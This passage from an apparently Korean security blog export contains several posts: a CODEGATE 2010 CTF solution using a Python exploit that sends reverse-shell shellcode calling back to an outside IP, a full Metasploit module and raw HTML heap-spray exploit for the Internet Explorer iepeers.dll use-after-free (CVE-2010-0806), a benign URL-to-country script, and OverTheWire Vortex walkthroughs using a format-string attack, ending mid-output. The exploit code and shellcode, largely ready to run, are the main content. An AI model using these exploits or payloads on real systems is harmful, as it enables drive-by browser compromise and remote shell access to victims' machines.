확인할 수 있었다. 이제 해당 부분에 원하는 주소로 넣고 공격을 해보도록 하자.\n1 2 3 [byjjoon@ByJJoon CODEGATE]$ python -c \u0026#34;print \u0026#39;\\x90\u0026#39;*268 + \u0026#39;\\x0b\\x86\\x04\\x08\u0026#39; + \u0026#39;\\xcc\u0026#39;*300\u0026#34; | ./easy Input: Trace/breakpoint trap (core dumped) [byjjoon@ByJJoon CODEGATE]$ 우리가 원하는 대로 \\xcc 부분에서 trap이 걸린걸 확인 할 수 있었다. 이제 아래와 같이 구성하여 공격을 진행하도록 하자.\n1 [NOP*268] + [EIP] + [NOP*100] + [SHELLCODE] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #!/usr/bin/python import sys import socket import time from struct import pack shellcode = \u0026#39;\u0026#39; # linux/x86/shell_reverse_tcp - 98 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # LHOST=211.218.16.105, LPORT=9999, ReverseConnectRetries=5, # PrependSetresuid=false, PrependSetreuid=false, # PrependSetuid=false, PrependChrootBreak=false, # AppendExit=false shellcode += \u0026#39;\\xba\\x8b\\xb0\\xd0\\x7f\\xd9\\xc2\\xd9\\x74\\x24\\xf4\\x29\\xc9\\x5e\u0026#39; shellcode += \u0026#39;\\xb1\\x12\\x31\\x56\\x15\\x03\\x56\\x15\\x83\\xc6\\x04\\xe2\\x7e\\x81\u0026#39; shellcode += \u0026#39;\\x0b\\x88\\x63\\xb1\\xe8\\x24\\x09\\x34\\x66\\x2b\\x7d\\x5e\\xb5\\x2c\u0026#39; shellcode += \u0026#39;\\x26\\xc1\\x2d\\xfe\\x02\\xed\\xc4\\x66\\xda\\x29\\x18\\x01\\x49\\x5c\u0026#39; shellcode += \u0026#39;\\x36\\x9c\\x3d\\x29\\xd7\\x5d\\xd7\\x4f\\x40\\xaf\\xa7\\xc9\\xf7\\xf6\u0026#39; shellcode += \u0026#39;\\x17\\xd6\\x3a\\x88\\x1e\\x50\\x3c\\xd9\\xc8\\x8d\\x91\\xa9\\x60\\xba\u0026#39; shellcode += \u0026#39;\\xc2\\x2f\\x19\\x54\\x94\\x53\\x89\\xfb\\x2f\\x72\\x99\\xf7\\xe2\\xf5\u0026#39; def send_payload(host, port, payload): print \u0026#39;[+] Connect - %s:%d\u0026#39; % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) a = s.recv(128) print \u0026#39;[+] Receive - %s\u0026#39; % a time.sleep(2) print \u0026#39;[+] Sending Payload\u0026#39; s.send(payload) s.close() def main(): host = \u0026#39;ctf4.codegate.org\u0026#39; port = 9000 payload = \u0026#39;\u0026#39; payload += \u0026#39;\\x90\u0026#39;*268 payload += pack(\u0026#39;\u0026lt;L\u0026#39;, 0x0804860b) payload += \u0026#39;\\x90\u0026#39;*100 + shellcode send_payload(host, port, payload) if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#39;[+] Strat!\u0026#39; main() 1 2 3 4 5 D:\\Python Programming\\PYTHON CODE\\TEMPLATE\u0026gt;remote_exploit.py [+] Strat! [+] Connect - ctf4.codegate.org:9000 [+] Receive - Input: [+] Sending Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 C:\\Windows\\SysWOW64\u0026gt;nc -l -p 9999 -vv listening on [any] 9999 ... 222.239.224.233: inverse host lookup failed: : Operation not permitted connect to [211.218.16.105] from (UNKNOWN) [222.239.224.233] 58756 ls ls: cannot open directory .: Permission denied id uid=1003(easy) gid=1003(easy) pwd / cd /home/easy ls easy examples.desktop flag.txt cat flag.txt bc15d4ddf6ca486682064ad226a7ff1b - ","date":"2010-03-15T21:39:08Z","permalink":"/2010/03/15/codegate-2010-challenge-4/","title":"CODEGATE 2010 CHALLENGE 4"},{"content":"현재 악성코드 유포로 이용될 가능성이 있는 인터넷 익스플로러 취약점 입니다. Metasploit 모듈로 올라왔네요..\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 ## # ie_iepeers_pointer.rb # # Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework # # Tested successfully on the following platforms: # - Microsoft Internet Explorer 7, Windows Vista SP2 # - Microsoft Internet Explorer 7, Windows XP SP3 # - Microsoft Internet Explorer 6, Windows XP SP3 # # Exploit found in-the-wild. For additional details: # http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/ # # Trancer # http://www.rec-sec.com ## require \u0026#39;msf/core\u0026#39; class Metasploit3 \u0026lt; Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, \u0026#39;Name\u0026#39; =\u0026gt; \u0026#39;Microsoft Internet Explorer iepeers.dll use-after-free\u0026#39;, \u0026#39;Description\u0026#39; =\u0026gt; %q{ This module exploits a use-after-free vulnerability within iepeers.dll of Microsoft Internet Explorer versions 6 and 7. NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected. }, \u0026#39;License\u0026#39; =\u0026gt; MSF_LICENSE, \u0026#39;Author\u0026#39; =\u0026gt; [ \u0026#39;Trancer \u0026lt;mtrancer[at]gmail.com\u0026gt;\u0026#39; ], \u0026#39;Version\u0026#39; =\u0026gt; \u0026#39;$Revision:$\u0026#39;, \u0026#39;References\u0026#39; =\u0026gt; [ [ \u0026#39;CVE\u0026#39;, \u0026#39;2010-0806\u0026#39; ], [ \u0026#39;OSVDB\u0026#39;, \u0026#39;62810\u0026#39; ], [ \u0026#39;BID\u0026#39;, \u0026#39;38615\u0026#39; ], [ \u0026#39;URL\u0026#39;, \u0026#39;http://www.microsoft.com/technet/security/advisory/981374.mspx\u0026#39; ], [ \u0026#39;URL\u0026#39;, \u0026#39;http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/\u0026#39; ] ], \u0026#39;DefaultOptions\u0026#39; =\u0026gt; { \u0026#39;EXITFUNC\u0026#39; =\u0026gt; \u0026#39;process\u0026#39;, \u0026#39;InitialAutoRunScript\u0026#39; =\u0026gt; \u0026#39;migrate -f\u0026#39;, }, \u0026#39;Payload\u0026#39; =\u0026gt; { \u0026#39;Space\u0026#39; =\u0026gt; 1024, \u0026#39;BadChars\u0026#39; =\u0026gt; \u0026#34;\\x00\\x09\\x0a\\x0d\u0026#39;\\\\\u0026#34;, \u0026#39;StackAdjustment\u0026#39; =\u0026gt; -3500, }, \u0026#39;Platform\u0026#39; =\u0026gt; \u0026#39;win\u0026#39;, \u0026#39;Targets\u0026#39; =\u0026gt; [ [ \u0026#39;Windows XP SP0-SP3 / IE 6.0 SP0-2 \u0026amp; IE 7.0\u0026#39;, { \u0026#39;Ret\u0026#39; =\u0026gt; 0x0C0C0C0C } ] ], \u0026#39;DisclosureDate\u0026#39; =\u0026gt; \u0026#39;Mar 09 2010\u0026#39;, \u0026#39;DefaultTarget\u0026#39; =\u0026gt; 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return\\nops ret = Rex::Text.to_unescape([target.ret].pack(\u0026#39;V\u0026#39;)) # Randomize the javascript variable names j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) j_ret = rand_text_alpha(rand(100) + 1) j_array = rand_text_alpha(rand(100) + 1) j_function1 = rand_text_alpha(rand(100) + 1) j_function2 = rand_text_alpha(rand(100) + 1) j_object = rand_text_alpha(rand(100) + 1) j_id = rand_text_alpha(rand(100) + 1) # Build out the message html = %Q|\u0026lt;html\u0026gt;\u0026lt;body\u0026gt; \u0026lt;button id=\u0026#39;#{j_id}\u0026#39; onclick=\u0026#39;#{j_function2}();\u0026#39; style=\u0026#39;display:none\u0026#39;\u0026gt;\u0026lt;/button\u0026gt; \u0026lt;script language=\u0026#39;javascript\u0026#39;\u0026gt; function #{j_function1}(){ var #{j_shellcode} = unescape(\u0026#39;#{shellcode}\u0026#39;); #{j_memory} = new Array(); var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2); var #{j_nops} = unescape(\u0026#39;#{ret}\u0026#39;); while(#{j_nops}.length\u0026lt;#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; } var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2); delete #{j_nops}; for(#{j_counter}=0; #{j_counter}\u0026lt;270; #{j_counter}++) { #{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode}; } } function #{j_function2}(){ #{j_function1}(); var #{j_object} = document.createElement(\u0026#39;body\u0026#39;); #{j_object}.addBehavior(\u0026#39;#default#userData\u0026#39;); document.appendChild(#{j_object}); try { for (#{j_counter}=0; #{j_counter}\u0026lt;10; #{j_counter}++) { #{j_object}.setAttribute(\u0026#39;s\u0026#39;,window); } } catch(e){ } window.status+=\u0026#39;\u0026#39;; } document.getElementById(\u0026#39;#{j_id}\u0026#39;).onclick(); \u0026lt;/script\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;| print_status(\u0026#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...\u0026#34;) # Transmit the compressed response to the client send_response(cli, html, { \u0026#39;Content-Type\u0026#39; =\u0026gt; \u0026#39;text/html\u0026#39; }) # Handle the payload handler(cli) end end 아래 소스는 기본 형태 입니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;button id=\u0026#34;helloworld\u0026#34; onclick=\u0026#34;blkjbdkjb();\u0026#34; STYLE=\u0026#34;DISPLAY:NONE\u0026#34;\u0026gt; \u0026lt;/button\u0026gt; \u0026lt;script language=\u0026#34;JavaScript\u0026#34; src=\u0026#34;bypasskav.txt\u0026#34;\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;script language=\u0026#34;JavaScript\u0026#34;\u0026gt; function eejeefe() { var s = unescape(\u0026#34;%u0c0c\u0026#34;); var u = unescape(\u0026#34;%u0c0c\u0026#34;); var c = s + u; var array = new Array(); var ls = 0x86000 - (c.length * 2); var b = unescape(\u0026#34;%u0c0c%u0c0C\u0026#34;); while (b.length \u0026lt; ls / 2) { b += b; } var lh = b.substring(0, ls / 2); delete b; for (i = 0; i \u0026lt; 270; i++) { array[i] = lh + lh + c; } } function blkjbdkjb() { eejeefe(); var sdfsfsdf = document.createElement(\u0026#34;BODY\u0026#34;); sdfsfsdf.addBehavior(\u0026#34;#default#userData\u0026#34;); document.appendChild(sdfsfsdf); try { for (i = 0; i \u0026lt; 10; i++) { sdfsfsdf.setAttribute(\u0026#39;s\u0026#39;, window); } } catch (e) {} window.status += \u0026#39;\u0026#39;; } document.getElementById(\u0026#34;helloworld\u0026#34;).onclick(); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; ","date":"2010-03-11T00:05:13Z","permalink":"/2010/03/11/microsoft-internet-explorer-iepeersdll-use-after-free-exploit-meta/","title":"Microsoft Internet Explorer iepeers.dll Use-After-Free Exploit (CVE-2010-0806, MS10-018)"},{"content":"도메인으로 국가를 알아보기 위해 아래와 같은 스크립트를 작성해 보았습니다. 우선 IP별 국가 리스트 DB 파일을 아래 링크에서 다운로드 합니다.\nhttp://geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip\n다운로드 한 파일명은 \u0026quot;db.csv\u0026quot; 로 변경하여 사용하면 됩니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #!/usr/bin/python import sys, socket , re def url2ip(url): url = socket.gethostbyname_ex(url) url = str(url[2]) url = url.split(\u0026#39;,\u0026#39;) url = re.sub(\u0026#39;[\\[\\]\\\u0026#39;]\u0026#39;, \u0026#39;\u0026#39;, url[0]) return url def decimal2hex(s): s = int(s) return \u0026#39;%02x\u0026#39; % s def main(): url = sys.argv[1] ip = url2ip(url) print ip splitip = ip.split(\u0026#39;.\u0026#39;) ret= \u0026#39;\u0026#39; for x in range(4): ret += decimal2hex(splitip[x]) ip2decimal = int(ret,16) db = open(\u0026#39;db.csv\u0026#39;, \u0026#39;r\u0026#39;) list = db.readlines() for x in list: splitdb = x.split(\u0026#39;\u0026#34;,\u0026#34;\u0026#39;) if int(splitdb[2]) \u0026lt; ip2decimal: if int(splitdb[3]) \u0026gt; ip2decimal: print \u0026#39;[\u0026#39; + splitdb[4] + \u0026#39;]\u0026#39;, splitdb[5][:-2] break if __name__ == \u0026#34;__main__\u0026#34;: main() 사용방법은 아래와 같이 아주 간단 합니다.\n1 2 3 4 5 6 7 8 9 10 [byjjoon@ByJJoon Location_Check]$ ./check.py google.com 74.125.127.106 [US] United States [byjjoon@ByJJoon Location_Check]$ ./check.py ce.changwon.ac.kr 59.22.141.44 [KR] Korea, Republic of [byjjoon@ByJJoon Location_Check]$ ./check.py baidu.cn 61.135.163.94 [CN] China [byjjoon@ByJJoon Location_Check]$ ","date":"2010-03-09T13:03:30Z","permalink":"/2010/03/09/url-to-country-script/","title":"URL to Country script"},{"content":"http://www.overthewire.org/wargames/vortex/level6.shtml\n문제를 보면 바이너리 파일을 제공해 준다. 해당 바이너리를 IDA를 통해 확인을 해보면 아래와 같다.\nrestart() 함수가 존재한다. restart() 함수의 역활을 보니 argv를 받아 execlp() 함수로 실행해주는 함수이다. 그렇다면 그냥 쉽게 쉘을 실행시키는 코드를 짜서 restart() 함수를 이용하여 실행하면 될것으로 보인다. 공격해보자!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 vortex6@games /tmp/byjjoon_6 $ cat shell.c int main() { setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); execl(\u0026#34;/bin/bash\u0026#34;, \u0026#34;sh\u0026#34;, 0); } vortex6@games /tmp/byjjoon_6 $ gcc -o shell shell.c vortex6@games /tmp/byjjoon_6 $ cat ex.py #!/usr/bin/python import os os.execl(\u0026#39;/vortex/level6\u0026#39;, \u0026#39;./shell\u0026#39;) vortex6@games /tmp/byjjoon_6 $ ./ex.py sh-3.2$ id uid=509(vortex7) gid=508(vortex6) groups=508(vortex6) sh-3.2$ cat /etc/vortex_pass/vortex7 Y52jxHtt/ sh-3.2$ ","date":"2010-03-06T03:30:17Z","permalink":"/2010/03/06/vortex-level-7/","title":"Vortex - Level 6"},{"content":"http://www.overthewire.org/wargames/vortex/level5.shtml\n코드를 보면 해당 MD5값을 찾으라고 한다. 155fb95d04287b757c996d77b5ea51f7\n별 고민 없이 지난번에 소개한 해쉬 크랙 툴을 이용하여 검색해 보았다.\n결과는 rlTf6\n1 2 3 4 5 6 7 vortex5@games ~ $ /vortex/level5 Password: 6:36 You got the right password, congrats! sh-3.2$ cat /etc/vortex_pass/vortex6 *uy5qDRb2 sh-3.2$ 이렇게 풀어도 되나? -_-;\n","date":"2010-03-03T17:30:58Z","permalink":"/2010/03/03/vortex-level-5/","title":"Vortex - Level 5"},{"content":"http://www.overthewire.org/wargames/vortex/level4.shtml\n1 2 3 4 5 6 7 8 9 // -- andrewg, original author was zen-parse :) #include \u0026lt;stdlib.h\u0026gt; int main(int argc, char **argv) { if(argc) exit(0); printf(argv[3]); exit(EXIT_FAILURE); } 먼저 회피를 위해서 if(argc)를 회피해야 하므로 execl() 함수를 이용한다. 방법은 아래와 같이 간단하게 Python 스크립트로 작성하여 회피할 수 있다.\n1 2 3 4 5 6 vortex4@games /tmp/byjjoon $ cat go.py #!/usr/bin/python import os os.execl(\u0026#39;/vortex/level4\u0026#39;) vortex4@games /tmp/byjjoon $ ./go.py SHELL=/bin/bashvortex4@games /tmp/byjjoon $ 회피를 하여 실행한 결과 환경 변수에 등록된 값이 나오는 것을 확인할 수 있었다. 즉, 저 환경변수를 이용하여 포멧스트링을 통해 쉘을 획득할 수 있을 것으로 보인다.\n먼저 공격을 하기 전 쉘코드를 미리 환경변수에 등록해 두도록 하자. 사용한 쉘코드는 이전 레벨에서 사용했던 쉘코드이며 NOP를 넉넉 잡아 100개를 넣어 주었다.\n1 2 3 vortex4@games /tmp/byjjoon $ export SHELLCODE=\u0026#34;`python -c \u0026#34;print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x6a\\x31\\x58\\x99\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x6a\\x46\\x58\\xcd\\x80\\xb0\\x0b\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x89\\xd1\\xcd\\x80\u0026#39;\u0026#34;`\u0026#34; vortex4@games /tmp/byjjoon $ ./go.py TERM=linuxvortex4@games /tmp/byjjoon $ 환경변수에 쉘코드를 올린 후 다시 실행을 해보면 방금 입력한 환경변수로 인해 다른 환경변수가 출력된 것을 알 수 있다. 저 곳에 원하는 코드를 넣어 포멧스트링을 이용하여 쉘을 획득할 것이다.\n이제 OFFSET을 구해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 vortex4@games /tmp/byjjoon $ export TERM=`python -c \u0026#34;print \u0026#39;AAAA\u0026#39; + \u0026#39;\\x2c\\x95\\x04\\x08\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x2e\\x95\\x04\\x08\u0026#39; + \u0026#39;%8x\u0026#39;*172 + \u0026#39;%10000c%x%10000c%x\u0026#39; + \u0026#39;BBB\u0026#39;\u0026#34;` vortex4@games /tmp/byjjoon $ ./go.py TERM=AAAA,뷓BBB.뷳f7ff434bf7ff3d8 80483a640139e344001ac80bf7ff4084003829e 0bf7ff434bf7ff438 80482ac 0400127b0400381fd4001afc4 0 80482ac 0 80482cd 804835c 0bf7ff434 804839c 80483cc4000ddd9bf7ff42c40016000 0 0bf7ff529bf7ff5debf7ff66fbf7ff89ebf7ff8aebf7ff8d0bf7ff8ecbf7ff8ffbf7ff90cbf7ffda9bf7ffdbdbf7ffe16bf7ffe2dbf7ffe7dbf7ffe8ebf7ffe9fbf7ffeb0bf7ffebabf7ffec2bf7ffedcbf7ffef1bf7fff01bf7fff0cbf7fff18bf7fff4bbf7fff64bf7fffe3 0 10bfebfbff 6 1000 11 64 3 8048034 4 20 5 6 740000000 8 0 9 80482ac b 1fa c 1fb d 1fa e 1fa fbf7ff524 0 0 0363836694e414d0048544150616d2f3d752f3a6e6c2f72736c61636f6168732f6d2f65722f3a6e612f72737572616873616d2f65752f3a6e732f7273657261686e69622f6c69747561642d73692f61742d3638366c2d637078756e69756e672d312e322f616d2f38752f3a6e732f7273657261686363672f7461642d36692f61702d3638696c2d632d78756e2f756e672e342e33616d2f36652f3a6e6a2f63742d617661666e6f63732f6769657473796d762d6d6e616d2f4853002f434c4c453d45444f909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909958316ac38980cd466ac189b080cd586e68520b6868732f69622f2fd189e389540080cd3d4d5245 . . . [생략] . . A804952c . . [생략] . . B804952eBBBvortex4@games /tmp/byjjoon $ 172개와 더미로 B를 3개 붙여 줬을때 정확하게 0x0804952e 값이 마지막에 출력됨을 확인할 수 있었다. 이제 쉘코드의 위치를 GDB를 통해 확인하여 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 vortex4@games /tmp/byjjoon $ gdb -q /vortex/level4 Using host libthread_db library \u0026#34;/lib/libthread_db.so.1\u0026#34;. (gdb) b main Breakpoint 1 at 0x8048362 (gdb) r Starting program: /vortex/level4 Breakpoint 1, 0x08048362 in main () (gdb) x/32wx $esp 0xbf7ff3b0: 0x40139e34 0x4001ac80 0xbf7ff3e8 0x4003829e 0xbf7ff3c0: 0x00000001 0xbf7ff414 0xbf7ff41c 0x080482ac 0xbf7ff3d0: 0x00000000 0x400127b0 0x400381fd 0x4001afc4 0xbf7ff3e0: 0x00000001 0x080482ac 0x00000000 0x080482cd 0xbf7ff3f0: 0x0804835c 0x00000001 0xbf7ff414 0x0804839c 0xbf7ff400: 0x080483cc 0x4000ddd9 0xbf7ff40c 0x40016000 0xbf7ff410: 0x00000001 0xbf7ff51c 0x00000000 0xbf7ff52b 0xbf7ff420: 0xbf7ff5e0 0xbf7ff671 0xbf7ff681 0xbf7ff8b0 (gdb) 0xbf7ff430: 0xbf7ff8d2 0xbf7ff8e5 0xbf7ff8f2 0xbf7ffd8f 0xbf7ff440: 0xbf7ffd9b 0xbf7ffdf4 0xbf7ffe08 0xbf7ffe58 0xbf7ff450: 0xbf7ffe6f 0xbf7ffe7e 0xbf7ffe8f 0xbf7ffea0 0xbf7ff460: 0xbf7ffeb1 0xbf7ffeba 0xbf7ffed4 0xbf7ffedc 0xbf7ff470: 0xbf7ffee6 0xbf7ffef6 0xbf7fff0b 0xbf7fff17 0xbf7ff480: 0xbf7fff22 0xbf7fff55 0xbf7fff6e 0x00000000 0xbf7ff490: 0x00000010 0xbfebfbff 0x00000006 0x00001000 0xbf7ff4a0: 0x00000011 0x00000064 0x00000003 0x08048034 (gdb) 0xbf7ff4b0: 0x00000004 0x00000020 0x00000005 0x00000006 0xbf7ff4c0: 0x00000007 0x40000000 0x00000008 0x00000000 0xbf7ff4d0: 0x00000009 0x080482ac 0x0000000b 0x000001fa 0xbf7ff4e0: 0x0000000c 0x000001fa 0x0000000d 0x000001fa 0xbf7ff4f0: 0x0000000e 0x000001fa 0x0000000f 0xbf7ff517 0xbf7ff500: 0x00000000 0x00000000 0x00000000 0x00000000 0xbf7ff510: 0x00000000 0x69000000 0x00363836 0x726f762f 0xbf7ff520: 0x2f786574 0x6576656c 0x4d00346c 0x41504e41 (gdb) 0xbf7ff530: 0x2f3d4854 0x3a6e616d 0x7273752f 0x636f6c2f 0xbf7ff540: 0x732f6c61 0x65726168 0x6e616d2f 0x73752f3a 0xbf7ff550: 0x68732f72 0x2f657261 0x3a6e616d 0x7273752f 0xbf7ff560: 0x6168732f 0x622f6572 0x74756e69 0x2d736c69 0xbf7ff570: 0x61746164 0x3836692f 0x63702d36 0x6e696c2d 0xbf7ff580: 0x672d7875 0x322f756e 0x2f38312e 0x3a6e616d 0xbf7ff590: 0x7273752f 0x6168732f 0x672f6572 0x642d6363 0xbf7ff5a0: 0x2f617461 0x36383669 0x2d63702d 0x756e696c (gdb) 0xbf7ff5b0: 0x6e672d78 0x2e332f75 0x2f362e34 0x3a6e616d 0xbf7ff5c0: 0x6374652f 0x76616a2f 0x6f632d61 0x6769666e 0xbf7ff5d0: 0x7379732f 0x2d6d6574 0x6d2f6d76 0x002f6e61 0xbf7ff5e0: 0x4c454853 0x444f434c 0x90903d45 0x90909090 0xbf7ff5f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf7ff600: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf7ff610: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf7ff620: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbf7ff630: 0x90909090 0x90909090 0x90909090 0x90909090 0xbf7ff640: 0x90909090 0x90909090 0x90909090 0x316a9090 0xbf7ff650: 0x80cd9958 0xc189c389 0xcd58466a 0x520bb080 0xbf7ff660: 0x732f6e68 0x2f2f6868 0xe3896962 0x80cdd189 0xbf7ff670: 0x45485300 0x2f3d4c4c 0x2f6e6962 0x68736162 0xbf7ff680: 0x52455400 0x41413d4d 0x952c4141 0x42420804 0xbf7ff690: 0x952e4242 0x38250804 0x78382578 0x25783825 0xbf7ff6a0: 0x38257838 0x78382578 0x25783825 0x38257838 (gdb) q The program is running. Exit anyway? (y or n) y vortex4@games /tmp/byjjoon $ SHELLCODE = 0xbf7ff600\n이제 .DTORS 주소를 확인해 보도록 하자.\n1 2 3 4 5 6 7 vortex4@games /tmp/byjjoon $ objdump -s -j .dtors /vortex/level4 /vortex/level4: file format elf32-i386 Contents of section .dtors: 8049528 ffffffff 00000000 ........ vortex4@games /tmp/byjjoon $ .DTORS = 0x08049528\n이제 필요한 주소를 모두 구하였으니 계산을 하여 다시 한번 공격을 해보도록 하자.\n1 2 3 4 vortex4@games /tmp/byjjoon $ python -c \u0026#34;print int(\u0026#39;f600\u0026#39;, 16)\u0026#34; 62976 vortex4@games /tmp/byjjoon $ python -c \u0026#34;print int(\u0026#39;1bf7f\u0026#39;, 16) - int(\u0026#39;f600\u0026#39;, 16)\u0026#34; 51583 62976 - 5 - (8 * 172) - 16 = 61579\n5 : TERM= 8 172 : %8x 172 16 : AAAA + BBBB + .dtors * 2\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 vortex4@games /tmp/byjjoon $ export TERM=`python -c \u0026#34;print \u0026#39;AAAA\u0026#39; + \u0026#39;\\x2c\\x95\\x04\\x08\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x2e\\x95\\x04\\x08\u0026#39; + \u0026#39;%8x\u0026#39;*172 + \u0026#39;%61579c%x%51583c%x\u0026#39; + \u0026#39;BBB\u0026#39;\u0026#34;` vortex4@games /tmp/byjjoon $ ./go.py TERM=AAAA,뷓BBB.뷳f7ff434bf7ff3d8 80483a640139e344001ac80bf7ff4084003829e 0bf7ff434bf7ff438 80482ac 0400127b0400381fd4001afc4 0 80482ac 0 80482cd 804835c 0bf7ff434 804839c 80483cc4000ddd9bf7ff42c40016000 0 0bf7ff529bf7ff5debf7ff66fbf7ff89ebf7ff8aebf7ff8d0bf7ff8ecbf7ff8ffbf7ff90cbf7ffda9bf7ffdbdbf7ffe16bf7ffe2dbf7ffe7dbf7ffe8ebf7ffe9fbf7ffeb0bf7ffebabf7ffec2bf7ffedcbf7ffef1bf7fff01bf7fff0cbf7fff18bf7fff4bbf7fff64bf7fffe3 0 10bfebfbff 6 1000 11 64 3 8048034 4 20 5 6 740000000 8 0 9 80482ac b 1fa c 1fb d 1fa e 1fa fbf7ff524 0 0 0363836694e414d0048544150616d2f3d752f3a6e6c2f72736c61636f6168732f6d2f65722f3a6e612f72737572616873616d2f65752f3a6e732f7273657261686e69622f6c69747561642d73692f61742d3638366c2d637078756e69756e672d312e322f616d2f38752f3a6e732f7273657261686363672f7461642d36692f61702d3638696c2d632d78756e2f756e672e342e33616d2f36652f3a6e6a2f63742d617661666e6f63732f6769657473796d762d6d6e616d2f4853002f434c4c453d45444f909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909958316ac38980cd466ac189b080cd586e68520b6868732f69622f2fd189e389540080cd3d4d5245 . . . [생략] . . A804952c . . . [생략] . . . B804952eBBBvortex4@games /tmp/byjjoon $ 주소가 정확하게 출력됨을 확인한 후 %x를 %n으로 변경 후 다시 공격을 해보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 vortex4@games /tmp/byjjoon $ export TERM=`python -c \u0026#34;print \u0026#39;AAAA\u0026#39; + \u0026#39;\\x2c\\x95\\x04\\x08\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\x2e\\x95\\x04\\x08\u0026#39; + \u0026#39;%8x\u0026#39;*172 + \u0026#39;%61579c%n%51583c%n\u0026#39; + \u0026#39;BBB\u0026#39;\u0026#34;` vortex4@games /tmp/byjjoon $ ./go.py TERM=AAAA,뷓BBB.뷳f7ff434bf7ff3d8 80483a640139e344001ac80bf7ff4084003829e 0bf7ff434bf7ff438 80482ac 0400127b0400381fd4001afc4 0 80482ac 0 80482cd 804835c 0bf7ff434 804839c 80483cc4000ddd9bf7ff42c40016000 0 0bf7ff529bf7ff5debf7ff66fbf7ff89ebf7ff8aebf7ff8d0bf7ff8ecbf7ff8ffbf7ff90cbf7ffda9bf7ffdbdbf7ffe16bf7ffe2dbf7ffe7dbf7ffe8ebf7ffe9fbf7ffeb0bf7ffebabf7ffec2bf7ffedcbf7ffef1bf7fff01bf7fff0cbf7fff18bf7fff4bbf7fff64bf7fffe3 0 10bfebfbff 6 1000 11 64 3 8048034 4 20 5 6 740000000 8 0 9 80482ac b 1fa c 1fb d 1fa e 1fa fbf7ff524 0 0 